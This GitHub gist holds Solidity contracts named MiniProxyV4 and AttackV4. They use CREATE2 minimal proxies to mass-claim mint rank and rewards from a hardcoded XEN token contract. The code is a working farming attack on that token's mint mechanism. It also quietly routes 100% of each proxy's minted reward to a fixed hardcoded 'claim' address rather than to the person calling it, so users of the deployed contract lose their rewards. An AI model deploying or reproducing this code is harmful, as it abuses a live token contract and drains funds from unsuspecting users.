Skip to content

Instantly share code, notes, and snippets.

@ergatea
Created October 21, 2022 00:21
Show Gist options
  • Save ergatea/4c27bbb55fe6730059dc40e9ab20409c to your computer and use it in GitHub Desktop.
Save ergatea/4c27bbb55fe6730059dc40e9ab20409c to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.17+commit.8df45f5f.js&optimize=false&runs=200&gist=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IXEN {
function claimRank(uint term) external;
function claimMintReward() external;
function claimMintRewardAndShare(address other, uint256 pct) external;
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IMiniProxyV4{
function claimRank(uint term) external;
function claimMintRewardAndShare() external;
}
contract MiniProxyV4 is IMiniProxyV4{
address private original;
address private claim = 0x66042381FE037f32557eb68Ecbaab9B5f394f5cc;
address public constant xenContract = 0xca41f293A32d25c2216bC4B30f5b0Ab61b6ed2CB; //0x06450dEe7FD2Fb8E39061434BAbCFC05599a6Fb8;
constructor() {
original = msg.sender;
}
function claimRank(uint term) external {
IXEN(xenContract).claimRank(term);
}
function claimMintRewardAndShare() external {
IXEN(xenContract).claimMintRewardAndShare(claim, 100);
if(address(this) != original) // proxy delegatecall
selfdestruct(payable(tx.origin));
}
}
contract AttackV4 {
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1167.md
bytes miniProxy; // = 0x363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b57fd5bf3;
address private immutable deployer;
mapping (address=>uint) public countClaimRank;
mapping (address=>uint) public countClaimMint;
constructor(address _miniProxy) {
miniProxy = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(_miniProxy)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
deployer = msg.sender;
}
function proxyFor(address sender, uint i) public view returns (address proxy) {
bytes32 salt = keccak256(abi.encodePacked(sender, i));
proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
keccak256(abi.encodePacked(miniProxy))
)))));
}
function batchClaimRank(uint times, uint term) external {
bytes memory bytecode = miniProxy;
address proxy;
uint N = countClaimRank[msg.sender];
for(uint i=N; i<N+times; i++) {
bytes32 salt = keccak256(abi.encodePacked(msg.sender, i));
assembly {
proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
IMiniProxyV4(proxy).claimRank(term);
}
countClaimRank[msg.sender] = N+times;
}
function batchClaimMintReward(uint times) external {
uint M = countClaimMint[msg.sender];
uint N = countClaimRank[msg.sender];
N = M+times < N ? M+times : N;
for(uint i=M; i<N; i++) {
address proxy = proxyFor(msg.sender, i);
IMiniProxyV4(proxy).claimMintRewardAndShare();
}
countClaimMint[msg.sender] = N;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment